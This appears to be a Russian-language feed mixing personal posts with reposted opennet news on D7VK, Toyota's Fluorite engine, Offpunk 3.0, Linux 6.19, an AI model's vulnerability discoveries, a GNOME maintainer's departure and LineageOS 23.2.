Первый портрет масляной пастелью :)
Без предварительного построения карандашом)

Шуро, тут написано, что они досмотрели телефон на границе и нашли там эти лайки. Ещё один повод, кстати, ни в коем случае не соглашаться ничего разблокировать.

curl -L sintonen.fi/curling

Выпуск D7VK 1.3, реализации Direct3D 5, 6 и 7 поверх API Vulkan

В новом выпуске обеспечена официальная поддержка графического API Direct3D 5 в дополнение к ранее доступной поддержке Direct3D 6 и 7. Также проведена работа по устранению ошибок и улучшению совместимости с играми кода для поддержки Direct3D 6 и Direct3D 7. Отключена по умолчанию эмуляция механизма сглаживания FSAA (Full-Scene Anti-Aliasing), которая теперь активируется только для игр, поддерживающих данную технологию.

Решены проблемы с работой игр:

• Blood 2: The Chosen
• Drakan: Order of the Flame
• Freespace 2 and Arabian Nights
• Gothic 1/2
• Ground Control
• Legacy of Kain: Soul Reaver
• No One Lives Forever

Добавлена поддержка игр на базе Direct3D 5:

• Carmageddon II: Carpocalypse Now
• Deathtrap Dungeon
• Lands of Lore III
• Mobil 1 Rally Championship
• Mortal Kombat 4
• Nightmare Creatures
• N.I.C.E 2
• Tomb Raider II

Ранее была подтверждена работа игр:

• Arabian Nights
• Battlezone II: Combat Commander
• Black & White
• Carmageddon TDR 2000
• Colin McRae Rally 2 0
• Dark Reign 2
• Deus Ex
• Disciples II
• Drakan: Order of the Flame
• Earth 2150
• Emperor: Battle for Dune
• Expendable
• Giants: Citizen Kabuto
• Hitman: Codename 47
• Indiana Jones and the Infernal Machine
• Need For Speed: High Stakes.
• Need for Speed III: Hot Pursuit
• No One Lives Forever
• Panzer Elite
• Rayman 2: The Great Escape
• Sacrifice
• Star Trek: Bridge Commander
• Star Wars: Rogue Squadron
• Tachyon: The Fringe
• Tomb Raider: Chronicles
• Undying
• Unreal Tournament
• Vampire: The Masquerade - Redemption
• Wizardry 8

Toyota развивает собственный открытый игровой движок Fluorite

Создание проекта объясняется желанием получить полнофункциональный игровой движок, интегрируемый с интерфейсами на базе Flutter и пригодный для использования на автомобильных информационно-развлекательных системах и встраиваемых устройствах, типа Raspberry Pi 5. До начала работы рассматривалась возможность задействования существующих игровых движков для создания интегрированного в автомобили игрового окружения. Движки Unity и Unreal были отброшены, как ресурсоёмкие и требующие лицензионных отчислений. Godot не подошёл из-за большого потребления ресурсов и слишком длительного запуска на встраиваемых устройствах. Impeller и Flutter_GPU были отвергнуты из-за проблем с поддержкой Linux (в Toyota IVI применяется Yocto Linux и собственный графический интерфейс на базе Wayland и Flutter).

Движок Fluorite интегрируется с фреймворком Flutter и позволяет разрабатывать игры на языке Dart, используя виджет FluoriteView для одновременного отображения разных представлений 3D-сцены и возможности Flutter для бесшовной интеграции игр с графическим окружением IVI-платформы, контроля за 3D-сценой из Flutter-виджетов и организации интерактивного взаимодействия. Имеется возможность создания интерактивных трёхмерных интерфейсов через определение в 3D-модели кликабельных зон, при клике на которые вызываются привязанные обработчики событий, по аналогии с событиями onClick на web-страницах.

Для достижения высокой производительности и низкого потребления ресурсов движок построен на базе архитектуры ECS (Entity-Component-System) и использует низкоуровневые компоненты на языке C++, поверх которых реализованы обвязки для создания игровой логики на языке Dart. Для отрисовки задействованы библиотека SDL3 и движок 3D-рендеринга Google Filament, поддерживающий физически корректный рендеринг (PBR). В планах интеграция движка симуляции физических процессов JoltPhysics.

Из особенностей упоминается поддержка изменения на лету 3D-сцены без перпезапуска приложения (Hot Reload), задействование графического API Vulkan для аппаратно ускоренной графики, применение эффектов постпроцессинга, подключение собственных шейдеров, физически корректная модель освещения, возможность разработки 3D-моделей в Blender и поддержка форматов GLTF, GLB, KTX и HDR.

Выпуск консольного браузера Offpunk 3.0, пригодного для работы в offline-режиме

Браузер ориентирован на просмотр контента в offline-режиме и позволяет подписываться на страницы или помечать их для дальнейшего просмотра, после чего данные страницы автоматически кэшируются и при необходимости обновляются. Offpunk даёт возможность хранить периодически синхронизируемые копии сайтов и страниц, доступные всегда для локального просмотра. Параметры синхронизации настраиваются пользователем, например, какой-то контент может синхронизироваться раз в день, а какой-то раз в месяц.

Управление осуществляется через систему команд и комбинации клавиш. Имеется поддержка многоуровневых закладок, подписок и архивируемого контента. Для разных MIME-типов можно подключать свои обработчики. Разбор и отображение HTML-страниц производится с использованием библиотек BeautifulSoup4 и Readability. Изображения могут преобразовываться в ASCII-графику при помощи библиотеки chafa.

Для автоматизации выполнения действий используется RC-файл, определяющий последовательность команд при запуске. Например, через RC-файл можно автоматически открывать домашнюю страницу или загружать содержимое каких-то сайтов для последующего просмотра в offline. Загружаемое содержимое сохраняется в каталоге ~/.cache/offpunk/ в виде иерархии файлов в форматах .gmi и .html, что позволяет при необходимости изменять содержимое, проводить ручную чистку или просматривать страницы в других программах.

Проект продолжает развитие Gemini- и Gopher-клиентов AV-98 и VF-1, созданных автором протокола Gemini. Протокол Gemini значительно проще протоколов, используемых в Web, но при этом более функционален, чем Gopher. Сетевая часть Gemini напоминает сильно упрощённый HTTP поверх TLS (трафик обязательно шифруется), а разметка страниц ближе к Markdown, чем к HTML. Протокол подходит для создания компактных и лёгких гипертекстовых сайтов, лишённых усложнений, свойственных современному Web. Протокол Spartan рассчитан на передачу документов в формате Gemini, но отличается организацией сетевого взаимодействия (не использует TLS) и расширяет возможности Gemini средствами для обмена бинарными файлами и поддерживает отправку данных на сервер.

Среди изменений в новой версии:

• Реализована возможность просмотра комиксов XKCD в терминале. Для показа комиксов добавлена отдельная утилита "xkcdpunk".
• В состав интегрирована библиотека "unmerdify", позволяющая извлекать основное содержимое из HTML-страниц, используя для отбрасывания лишнего набор правил "ftr-site-config".
• Добавлены операции "share" и "reply" для отправки URL страницы на email и ответа автору при упоминании email на странице.
• Добавлена команда "cookies", при помощи которой можно импортировать текстовый файл с Cookies, которые будут отправляться для указанного домена. Таким способом можно передавать сессионные Cookie для входа на сайт. Файл с Cookie можно сформировать в традиционном браузере (Firefox, Chromium) при помощи дополнения "cookie-txt", после чего его следует импортировать командой "cookies import mycookie.txt https://domain".
• Включён по умолчанию показ изображений на страницах, открытых через Gemini. Увеличен размер показываемых в терминале изображений.
• Реализован показ скрытых ссылок (из тегов ‹link rel="alternate"...›) на ленты RSS и Atom.
• Реализовано выделение красным цветом ссылок на заблокированные домены.
• Добавлена поддержка пресетов с несколькими темами оформления.
• Добавлена возможность перевода интерфейса на разные языки.

Релиз ядра Linux 6.19. Следующему ядру будет присвоен номер 7.0

В анонсе новой версии Линус сообщил, что следующему выпуску ядра будет присвоен номер 7.0, так как в ветке 6.x накопилось достаточного выпусков для смены первого числа в номере версии (в своё время выпуск 6.0 был сформирован следом за 5.19). Смена нумерации осуществляется из эстетических соображений и является формальным шагом, снимающим дискомфорт из-за накопления большого числа выпусков в серии. Линус пошутил, что его сбивают с толку большие числа для которых не хватает пальцев на руках и ногах.

В новую версию принято 15657 исправлений от 2237 разработчиков, размер патча - 52 МБ (изменения затронули 13682 файлов, добавлено 794649 строк кода, удалено 335498 строк). В прошлом выпуске было 15035 исправлений от 2217 разработчиков, размер патча - 45 МБ. Около 40% всех представленных в 6.19 изменений связаны с драйверами устройств, примерно 13% изменений имеют отношение к обновлению кода, специфичного для аппаратных архитектур, 12% связано с сетевым стеком, 5% - с файловыми системами и 3% c внутренними подсистемами ядра.

Основные новшества в ядре 6.19 (1, 2, 3):

• Дисковая подсистема, ввод/вывод и файловые системы
  • В Btrfs процессы проверки ФС (scrub) и замены устройств больше не блокируют переход системы в спящий режим (перед засыпанием сохраняется состояние scrub-проверки; после выхода из сна scrub-проверка продолжается, а операция замены устройств запускается заново). В реализацию RAID56 добавлена поддержка блоков, размер которых превышает размер страницы памяти. Проведена подготовка к поддержке fscrypt. Повышена производительность работы с блокировками при выполнении операций, связанных с резервированием места. Добавлена поддержка ioctl-операции "shutdown", позволяющей перевести ФС в состояние, при котором предпринимается попытка завершения выполнения уже запущенных операций, но блокируются все новые операции.
  • В файловой системе Ext4 реализована поддержка блоков, размер которых превышает размер страницы памяти (›4KB на системах x86). Использование крупных блоков позволяет повысить производительность буферизированных операций записи в среднем на 50%, но снижает производительность прямого ввода/вывода из-за увеличения времени расчёта контрольных сумм. В новой версии также добавлены оптимизации, повысившие пропускную способность при выполнении online-дефрагментации.
  • В подсистеме FUSE улучшена поддержка буферизированного чтения при использовании больших фолиантов страниц памяти (large folios). Через iomap реализована возможность отслеживания частично актуальных фолиантов для загрузки только данных, отсутствующих в буфере.
  • В VFS добавлена поддержка отзываемого делегирования управления директорией (recallable directory delegation), позволяющего реализовать в NFS передачу управления директорией от сервера клиенту, чтобы NFS-клиент без обращений к NFS-серверу самостоятельно отслеживал состояние директории на основе локального кэша. Если другой NFS-клиент произведёт изменения, связанные с этой директорией, делегирование управления будет отозвано у первого клиента.
  • Для NFS добавлена поддержка чтения в режиме прямого ввода/вывода (direct I/O). Реализованы настройки /sys/kernel/debug/nfsd/io_cache_read и /sys/kernel/debug/nfsd/io_cache_write для управления включением кэширования и операций прямого ввода/вывода, манипуляции с данными настройками позволяют снизить накладные расходы на стороне NFS-клиента при выполнении крупных операций ввода/вывода.
  • В NTFS реализована поддержка ioctl-операции shutdown, включены по умолчанию опции монтирования "acl" и "prealloc", добавлена поддержка времени до 1 января 1970 года.
  • Для блочных устройств и ФС включено по умолчанию раздельное для каждого CPU кэширование объектов "bio" (Block I/O), определяющих активные операции ввода-вывода.
• Память и системные сервисы
  • В ядро включена подсистема Live Update Orchestrator (LUO), позволяющая полноценно перезагрузить и обновить ядро без остановки работы и не теряя состояние системы, устройств и процессов. Подсистема LUO базируется на ранее добавленном в ядро механизме KHO (Kexec HandOver) и в дополнение к возможности запуска нового ядра из старого без потери состояния системы решает такие задачи, как сохранение состояния устройств и оперативной памяти, а также обеспечение непрерывности операций, связанных с DMA и обработкой прерываний. Состояние сохраняется до переключения на новое ядро и восстанавливается после задействования нового ядра без нарушения непрерывных операций с устройствами, осуществляемых системой и приложениями в пространстве пользователя.
  • Добавлен системный вызов listns() для вывода списка существующих в системе пространств имён без необходимости перебирать /proc/‹pid›/ns/ для всех процессов.
  • В систему асинхронного ввода/вывода io_uring добавлена поддержка размещения элементов разного размера в очереди отправки (SQE, Submission Queue Entry), по аналогии с тем как в прошлом выпуске было разрешено смешивание размера содержимого очереди результатов (CQE, Completion Queue Event). До этого все элементы в очереди должны были иметь один размер, что приводило к излишнему потреблению памяти из-за необходимости использования максимального размера для всех элементов в очереди.

    В io_uring также добавлена поддержка механизма zcrx (Zero-Copy Receive) для получения данных без копирования между ядром и пространством пользователя. Добавлена поддержка запросов раскладки памяти для очередей SQ (Submission Queue) и CQ (Completion Queue), позволяющих получить информацию о размере кольцевого буфера, необходимую при пользовательском выделении памяти при помощи флагов IORING_SETUP_NO_MMAP и IORING_MEM_REGION_TYPE_USER.

  • Для быстрой трассировки стека при помощи утилит, таких как perf, добавлена поддержка формата SFrame с информацией о раскрутке стека вызовов (unwind). SFrame уже поддерживается в GCC и binutils, не приводит к снижению производительности и, в отличие от формата DWARF, содержит лишь минимальный набор информации, необходимой для трассировки стека.
  • В утилиту perf добавлена поддержка унифицированного описаний метрик и событий в формате JSON, а также отложенной раскрутки (deferred unwinding) стека вызовов в пространстве пользователя.
  • Для процессоров AMD реализован механизм подстановки данных в кэш, позволяющий устройствам ввода/вывода напрямую подставлять данные в L3-кэш CPU без их предварительного помещения в ОЗУ.
  • Добавлена поддержка MPAM (Memory System Resource Partitioning and Monitoring), расширения архитектуры набора команд ARMv8-A для пометки каждого обращения к памяти идентификатором секции (PARTID, Partition ID) и идентификатором группы мониторинга (PMG, Monitoring Group ID). В привязке к PARTID можно ограничить потребление ресурсов, таких как пропускная способность памяти или размер кэша, что бы какая-то группа задач не заняла все ресурсы. В контексте мониторинга сочетание PMG и PARTID можно использовать для отслеживание потребления ресурсов памяти при определённых видах нагрузки.
  • В случае аварийного завершения процесса после получения сигнала, другой процесс, имеющий pidfd завершившегося процесса, теперь может определить номер сигнала, приведшего к завершению процесса.
  • Переработана реализация перезапускаемых последовательностей (restartable sequences), позволяющих приложениям организовать псевдо-атомарное не прерываемое выполнение группы инструкций (в случае прерывания другим потоком, предпринимается повторная попытка выполнения последовательности). Новая реализация отличается более высокой производительностью.
  • Для BPF-программ реализованы инструкции BPF_JMP, BPF_X и BPF_JA для совершения косвенных переходов на определённую позицию из таблицы переходов. Добавлена концепция динамических указателей (dynptr), позволяющих читать данные из структурированных файлов. Добавлена возможность прикрепления к сетевым пакетам нескольких байтов с метаданными.
  • Модули на языке Python, используемые для обработки документации к ядру, перемещены в отдельных каталог tools/lib/python.
  • Добавлена функция mempool_alloc_bulk() для безопасного выделения элементов из пула памяти сразу под несколько объектов.
  • Продолжен перенос изменений из ветки Rust-for-Linux, связанных с использованием языка Rust в качестве второго языка для разработки драйверов и модулей ядра (поддержка Rust не активна по умолчанию, и не приводит ко включению Rust в число обязательных сборочных зависимостей к ядру). В новой версии в состав ядра встроена библиотека "syn" с парсером Rust-кода, упрощающим написание сложных макросов. Расширены возможности библиотек kernel, pin-init и rbtree. Добавлена библиотека 'num' с типажом Integer для манипуляции целыми числами. В макрос "module!" добавлена поддержка целочисленных параметров. Реализована возможность указания параметров при загрузке модулей ядра, написанных на Rust. Реализованы абстракции для подсистем I2C и PWM (Pulse Width Modulation).
  • Добавлен макрос "at_least" (например, "param[at_least 7]", информирующий о минимально допустимом размере массива, передаваемого в функцию. Если в функцию будет передан массив с меньшим числом элементов, то компилятор выведет предупреждение.
  • В состав включён скрипт klp-build для генерации модулей ядра, вносящих изменения в работающее ядро (livepatch), на основе файла с патчем. В утилиту objtool внесены изменения, необходимые для создания live-патчей.
  • В User-mode Linux (запуск ядра как пользовательского процесса) добавлена ограниченная поддержка многопроцессорности, но потоки внутри одного процесса пока не могут выполняться одновременно. Началось портирование User-mode Linux на библиотеку nolibc.
  • Добавлена поддержка архитектуры LoongArch32 (LA32R, LA32S) в дополнение к LoongArch64.
  • Добавлена возможность выставления QoS-лимитов на интенсивность пробуждения процессора в режиме экономии энергии s2idle (Suspend-To-Idle), замораживающего выполнение процессов в пространстве пользователя, но оставляющего активными некоторые обработчики в ядре.
  • Добавлена поддержка управления таблицами страниц памяти для контроллеров IOMMU (Input-Output Memory Management Unit), выполняющих трансляцию виртуальных адресов, видимых аппаратным устройством, в физические адреса, с возможностью фильтровать операции DMA по виртуальным адресам, а также ограничивать и изолировать операции ввода-вывода.
  • В событиях трассировки системных вызовов реализована возможность чтения буферов из пространства пользователя и включения их содержимого (например, имён файлов) в результат трассировки.
  • Сторожевые страницы памяти (guard page), обращение к которым вызывает исключение и аварийное завершение процесса (SIGSEGV), теперь помечаются особой меткой в файле /proc/PID/smaps.
  • Добавлена возможность управления крупными страницами памяти (transparent huge page) в приватной памяти зонированных устройств.
  • В устройстве zram, применяемом для сжатого хранения раздела подкачки в памяти, реализована поддержка вытеснения нескольких структур "bio" (Block I/O) в пакетном режиме (writeback batching).
  • В состав включён шрифт "Terminus 10x18", улучшающий читаемость информации с консоли на экранах ноутбуков со средним разрешением (1440x900).
  • Значительно оптимизирована работа подсистемы аудита - отмечается снижение накладных расходов в два раза.
• Виртуализация и безопасность
  • Добавлена поддержка предоставляемой процессорами Intel возможности для разделения линейного пространства адресов (LASS, linear address-space separation), позволяющей аппаратно разделить диапазоны адресов пространства пользователя и ядра для повышения безопасности. Адресное пространство разделяется по старшему биту адреса - половина адресного пространства с установ­ленным старшим битом используется для ядра, а нижняя - для пространства пользователя. На раннем этапе выполнения инструкций (на стадии до спекулятивного выполнения) осуществляется проверка допустимости обращения из пространства пользователя к адресам с выставленным старшим битом и наоборот. Подобное разделение позволяет блокировать утечки памяти ядра в пространство пользователя по сторонним каналам даже при спекулятивном выполнении инструкций, что даёт возможность применять LASS для защиты от атак класса Meltdown и Spectre, не приводящей к большим накладным расходам.
  • Добавлена возможность включения расширений усиления безопасности шины PCI Express - PCIe Link Encryption и PCIe Device Authentication, позволяющих подтверждать подлинность и шифровать канал связи между устройством PCIe и виртуальной машиной, защищённой при помощи механизмов Intel TDX (Trusted Domain Extensions) и AMD SEV-SNP (Secure Nested Paging). Реализованные технологии не позволяют перехватывать, анализировать и подставлять данные в трафик DMA при наличии доступа к хост системе или другим устройствам.
  • Во встроенную криптографическую библиотеку добавлена поддержка алгоритмов SHA-3 (SHA3-224, SHA3-256, SHA3-384, SHA3-512) SHAKE128, SHAKE256 и BLAKE2b.
  • Для LSM-модулей (Linux Security Modules) и, в частности для SELinux, реализована возможность отслеживания создания дескрипторов memfd для применения политик безопасности к связанным с ними объектам.
  • В LSM-модуль IPE (Integrity Policy Enforcement), определяющий общую политику обеспечения целостности для всей системы, добавлена поддержка флага AT_EXECVE_CHECK в функции execveat(), включающего проверку целостности скрипта перед его выполнением интерпретатором.
  • Добавлены примитивы scoped_user_read_access(), scoped_user_write_access и scoped_user_rw_access() для ограниченного доступа к данным в пользовательском пространстве с защитой спекулятивных атак.
  • Добавлена поддержка механизма Confidential VMBus, используемого в гипервизоре HyperV для защищённого от вмешательства гипервизора взаимодействия между гостевой системой, выполняемой в конфиденциальном режиме (с шифрованием памяти и изоляцией регистров на базе технологий AMD SNP и Intel TDX), и paravisor-ом, отвечающим за обращение к устройствам, обрабатывающим конфиденциальные данные.
  • Добавлена возможность передачи информации об аварийно завершившемся процессе (для генерации coredump) через механизм pidfd. Идентификатор PIDFD связывается с конкретным процессом и не меняется, в то время как PID может быть привязан к другому процессу после завершения текущего процесса, ассоциированного с этим PID. Использование pidfd позволяет блокировать совершение атак по подмене аварийно завершившегося suid-процесса на другой процесс, добиваясь состояния гонки в момент после начала обработки ядром аварийного завершения, но до проверки обработчиком в пространстве пользователя параметров процесса.
• Сетевая подсистема
  • В сетевую подсистему внесены оптимизации для повышения эффективности передачи данных (TX). Избавление функции __dev_queue_xmit() от spin-блокировки и использование работающей без блокировок структуры llist позволило в 4 раза увеличить производительность при большой нагрузке и удвоить интенсивность отправки пакетов при снижении нагрузки на CPU в два раза.
  • Предоставлена возможность отключения для отдельных сетевых сокетов системных лимитов на использование памяти (в этом случае будут использованы общие лимиты на память, задаваемые для отдельных контейнеров). Для управления отключения лимитов предложен sysctl net.core.bypass_prot_mem и флаг SK_BPF_BYPASS_PROT_MEM в функции bpf_setsockopt.
  • Добавлена поддержка расширения RFC 5837, добавляющего в ICMP-сообщения "Time Exceeded", возвращаемые при истечении времени жизни (TTL) пакета, данные о входящих сетевых интерфейсах для получения более детальной информации при трассировке маршрутов утилитой traceroute.
  • Добавлена поддержка непрерывного активного полинга (busy polling) в отдельном потоке ядра с целью извлечения дескрипторов из RX/TX-очередей для приложений, требующих минимальных задержек.
  • Добавлена поддержка протокола CAN XL (Controller Area Network eXtended Length), в котором размер поля с данными увеличен до 2048 байт для обеспечения интеграции с сетями TCP/IP, реализована возможность туннелирования Ethernet-кадров и добавлена поддержка широтно-импульсной модуляции, позволившая передавать данные на скоростях 20 Мбит/с и выше.
  • Добавлена поддержка структуры sockaddr_unsized, варианта структуры sockaddr, использующего массив с гибкими элементами вместо массива фиксированного размера (sa_data[] вместо sa_data[14], который по сути использовался для ссылок на другие структуры большего размера).
  • Добавлена возможность использования функциональности getsockname и getpeername через подсистему io_uring.
  • Добавлены sysctl net.ipv4.tcp_rcvbuf_low_rtt и net.ipv4.tcp_comp_sack_rtt_percent для оптимизации TCP.
  • Добавлена поддержка линков с пропускной способностью 1600 Gbps (1.6T).
• Оборудование
  • В подсистему DRM (Direct Rendering Manager) добавлен API для использования аппаратных возможностей преобразования цвета, позволяющих обойтись без выполнения подобных преобразований через шейдеры или выполнение кода на CPU. Для вывода контента на HDR-монитор сложные цветовые преобразования теперь могут осуществляться дисплейным контроллером на стадии до и после смешивания слоёв (blending), вместо программного композитинга содержимого в финальный буфер отображения. Помимо снижения накладных расходов и энергопотребления при организации вывода в HDR, предложенная функциональность может использоваться для корректной цветопередачи в редакторах видео или изображений.
  • Добавлен драйвер "ethosu" для NPU Arm Ethos U65 и U85, предназначенных для аппаратного ускорения выполнения AI-моделей.
  • В драйвере i915 для GPU Lunar Lake и новее добавлена поддержка аппаратного повышения чёткости изображения (Sharpening).
  • Продолжена работа над drm-драйвером (Direct Rendering Manager) Xe для GPU на базе архитектуры Intel Xe, которая используется в видеокартах Intel семейства Arc и интегрированной графике, начиная с процессоров Tiger Lake. Добавлена начальная поддержка архитектуры Xe3P, используемой в GPU Crescent Island и семействе процессоров с интегрированной графикой Nova Lake.
  • В драйвере AMDGPU реализована полноценная поддержка видеокарт AMD семейства GCN 1.0 "Southern Island" и 1.1 "Sea Islands", для работы с которыми ранее использовался драйвер Radeon. Драйвер AMDGPU доведён до паритета по возможностям с драйвером Radeon и активирован для указанных GPU по умолчанию. Карты GCN 1.x выпускались с 2012 по 2019 год и охватывают такие модели, как Radeon HD 77xx/78xx/79xx/87xx/88xx/89xx, Radeon R9 280, FirePro W4000-W9000, Radeon Sky 700/900, Radeon R9 265/270/370, Radeon R9 290/390, HD 7790 / 8870 и иные видеокарты семейств Radeon Rx 200 / Rx 300. Помимо увеличения производительности в среднем на 24%, переход на AMDGPU позволил реализовать для данных GPU поддержку графического API Vulkan 1.3. Кроме того, в AMDGPU добавлена поддержка аналоговых коннекторов и Video Coding Engine 1.0, а также задействован по умолчанию стек DC (Display Core) для GPU на базе микроархитектуры Bonaire (Radeon HD 7700).
  • В драйвере Nouveau реализована поддержка аппаратного ускорителя NVJPG, присутствующего в SoC Tegra210.
  • В драйвер Panthor добавлена поддержка GPU Mali-G1 и начальная поддержка чипа MediaTek MT8196.
  • Добавлена поддержка звуковой подсистемы чипов Intel Nova Lake S, ноутбуков HP с HDA CS35L41, а также звуковых интерфейсов CIX IPBLOQ HD и Onkyo SE-300PCIE.
  • Продолжена интеграция компонентов драйвера Nova для GPU NVIDIA, оснащённых GSP-прошивками, используемыми начиная с серии NVIDIA GeForce RTX 2000 на базе микроархитектуры Turing. Драйвер написан на языке Rust. В новой версии началась работа над RPC и завершена реализация загрузки сопроцессора GSP (GPU System Processor).
  • Добавлена поддержка ARM-плат, SoC и устройств: Bananapi r4 pro, LinkEase EasePi R1, Qualcomm MSM8937 (Snapdragon 430), Renesas R-Car X5H, FriendlyElec NanoPi R76S, TI AM62L, Black Sesame Technologies C1200, Aspeed AST2600, Genio 1200 EVK, grinn geniosbc-510/700, Tanix TX9 Pro, Radxa Dragon Q6A, Tinker Board 3/3S, Aquila AM69, phyBOARD-Segin-i.MX91, i.MX 95 Verdin Evaluation Kit, Toradex SMARC iMX95, VIDIA Jetson Nano 2GB, Renesas rz/g3s, Indiedroid Nova, 24 варианта плат Enclustra Mercury.
  • Добавлена поддержка смартфонов и планшетов на базе SoC Mediatek MT6582 (Alcatel yarisxl), Nvidia Tegra124 (Xiaomi Mi Pad) и Qualcomm MSM8939 (ASUS ZenFone 2). Добавлена поддержка ноутбуков на SoC Qualcomm sdm850, таких как Huawei MateBook E 2019.
  • Добавлена поддержка SoC и плат на базе архитектуры RISC-V: OrangePi R2S, OrangePi RV, Anlogic dr1v90, Tenstorrent Blackhole.

Одновременно латиноамериканский Фонд свободного ПО сформировал вариант полностью свободного ядра 6.19 - Linux-libre 6.19-gnu, очищенного от элементов прошивок и драйверов, содержащих несвободные компоненты или участки кода, область применения которых ограничена производителем. В выпуске 6.19 из звуковой подсистемы SDCA удалён код для загрузки бинарных прошивок. Обновлён код чистки blob-ов в драйверах Intel XE, Nova-Core, Qualcomm Iris, Venus and Q6V5, TI PRUeth, Intel iwlwifi, Marvell mwifiex, FourSemi fs210x, Realtek rt1320 и звуковых кодеках TI tas2783. Выполнена чистка имён blob-ов в dts-файлах (devicetree) для ARM-чипов. Прекращена чистка драйвера STM C8SECTPFE DVB, удалённого из ядра.

Источник: https://www.opennet.ru/opennews/art.shtml?num=64757

"I somehow regret not having discovered earlier the world of wonders of Forth. Given that the professional IT world is drowning in complexity, which includes the complexity of compilers that everyone takes as inevitable, the simplicity and power of Forth is mind bending. It feels like meeting with the computer half way. Instead of insisting on universal truths like the + having to be in the middle, giving a little leeway towards the way a computer can naturally operate unlocks a whole lot of advantages"

https://genodians.org/nfeske/2022-03-29-pinephone-forth

#programming
#forth

Деньрожденческий шашлычинг получился мрачным: не пришёл ни один кот (померли что ли от морозов?), птиц было мало, да ещё и обнаружили труп мыши в пакете кошачьего корма (не смогли выбраться и задохнулись? вопросов много).

Мы совсем перестали указывать номер телефона в наших программах.

AI-модель Claude Opus 4.6 выявила более 500 ранее неизвестных уязвимостей

Для анализа уязвимостей были привлечены кодовые базы популярных открытых проектов, уже длительное время проходящие непрерывное fuzzing-тестирование в сервисе OSS-Fuzz. В отличие от fuzzing-тестирования, при котором генерируется поток всевозможных случайных комбинаций входных данных, AI-модель пыталась анализировать код, учитывая прошлые исправления для выявления похожих неустранённых ошибок, выделяя проблемные шаблоны и логически выводя, какие входные данные могут нарушить ход выполнения.

Информация о выявленных в ходе эксперимента уязвимостях уже начала передаваться сопровождающим, с которыми ведётся совместная работа по принятию исправлений. Чтобы помочь сопровождающим в ходе проведённой проверки вручную были разработаны патчи для исправления выявленных проблем. В качестве примера приведены три уязвимости в GhostScript, OpenSC и CGIF, которые на момент публикации устранены сопровождающими.

Используемая для выявления проблем конфигурация не была похожа на традиционные системы автоматического поиска уязвимостей - модели Claude Opus 4.6 был предоставлен доступ к виртуальной машине, в которой помимо исследуемого кода были установлены типовые инструменты разработчиков (coreutils, Python и т.п.) и утилиты для отладки и анализа уязвимостей (в том числе утилиты для fuzzing-тестирования). Модели не давалась чёткая инструкция по использованию данных инструментов и не предоставлялись специальные сведения о методах поиска уязвимостей. Модели была лишь поставлена задача и предоставлена возможность самостоятельно рассуждать об оптимальном использовании доступных инструментов.

Поиске уязвимостей в GhostScript AI-модель вначале попыталась провести fuzzing-тестирование, но когда это не привело к результату переключилась к анализу кода. Анализ кода тоже не дал результата и тогда модель начала изучать историю изменений в git и в одном из коммитов заметила упоминание проверки границ буфера. Разобрав коммит модель определила, что исправление добавляло недостающую проверку границ буфера при обработке шрифтов.

Далее модель определила код, который был до исправления и попыталась найти в остальном коде похожие шаблоны использования проблемной функции, остающиеся неисправленными. В итоге в файле gdevpsfx.c был выявлен вызов функции gs_type1_blend без проверки корректности значений. В финале модель подобрала содержимое файла, обработка которого приводила к аварийному завершению из-за записи данных в область памяти вне выделенного буфера.

В CGIF AI-модель отталкивалась от того, что при распаковке GIF-файлов библиотека рассматривала, что размер сжатых данных всегда меньше распакованных. Поиск уязвимости был сосредоточен на определении условий, при которых сжатые алгоритмом LZW данные окажутся больше распакованных. Подобные условия были найдены и AI-модель смогла сформировать GIT-файл, обработка которого привела к переполнению буфера. В OpenSC проблема была выявлена после анализа использования в коде потенциально опасных функций strrchr и strcat.

Отмечается, что языковые модели достигли уровня, позволяющего выявлять ранее неизвестные уязвимости, и в ближайшее время превзойдут экспертов по безопасности по скорости и масштабу поиска уязвимостей. Предполагается, что рост числа выявляемых уязвимостей потребует реформирования сложившихся процессов раскрытия информации, так как ныне выделяемых на исправление 90-дней будет недостаточно.

Источник: https://www.opennet.ru/opennews/art.shtml?num=64760

Сопровождающий 16 модулей GNOME ограничит своё участие в проекте

В качестве причины переезда упоминается новая эммиграционная политика США (у Криса жена родом из Тибета). Крис был трудоустроен в Red Hat, но данная компания отклонила его просьбу сохранить должность после переезда во Францию, несмотря на предоставление доказательства наличия рисков для его семьи.

Cписок модулей, сопровождением и разработкой которых занимался Крис:

• GtkSourceView - библиотека для встраивания в приложения виджета многострочного редактирования текста, применяется во многих редакторах на базе GTK.
• Text Editor - основной текстовый редактор GNOME.
• Ptyxis - эмулятор терминала, по умолчанию используется в Fedora, Debian, Ubuntu, RHEL/CentOS/Alma/Rocky.
• libspelling - библиотека для использования в GTK-приложениях проверки правописания на базе пакета enchant2.
• Sysprof - система профилирования, интегрируемая с Linux perf, Mesa, GTK, Pango, GLib, WebKit, Mutter.
• Builder - интегрированная среда разработки.
• template-glib - шаблонизатор для GObject.
• jsonrpc-glib - библиотека для взаимодействия через JSON-RPC.
• libpeas - движок для создания плагинов на C, C++, Rust, Lua, Python и JavaScript.
• libdex - библиотека для отложенного выполнения задач и интеграции с io_uring.
• GOM - маппинг объектов GObject в SQLite.
• Manuals - просмотрщик документации.
• Foundry - реализация функциональности GNOME Builder для использования из командной строки и в форме библиотеки.
• d-spy - утилита для анализа соединений D-Bus.
• libpanel - виджеты для создания сложных IDE-подобных приложений на базе GTK и libadwaita.
• libmks - GTK-компоненты для отображения экрана и передачи событий мыши/клавиатуры при взаимодействии с виртуальными машинами на базе QEMU.

Опубликована мобильная платформа LineageOS 23.2

Выпуск LineageOS 23.2 примечателен сирхронизацией с актуальной кодовой базой из репозитория AOSP (Android Open Source Project), соответствующей второму квартальному обновлению платформы Android 16 (QPR2). Выпуск LineageOS 23.1 пропущен, так как AOSP теперь обновляется раз в полгода, а не раз в квартал. В дальнейшем промежуточные релизы LineageOS будут выпускаться не четыре, а два раза в год.

Из функциональных изменений в LineageOS 23.2 отмечается задействование нового оформления и цветовой схемы, соответствующих предложенной в Android 16 концепции дизайна Material Expressive 3. Приложения обновлены и по возможности также переведены на концепцию оформления Material Expressive. Среди прочего новое оформление задействовано в музыкальном проигрывателе Twelve (Music Player), часах Deskclock и калькуляторе ExactCalculator.

Обновлён интерфейс выпадающей панели с быстрыми настройками - плитки в панели теперь полностью настраиваются. В дополнение к базовой теме оформления предложена опциональная расширенная тёмная тема. Расширена функциональность утилит для работы с файлами. Для разработчиков прошивок предложено несколько новых утилит для извлечения RRO (Runtime Resource Overlay), обновления сертификатов приложений, извлечения правил SELinux и файлов конфигурации из системных образов.

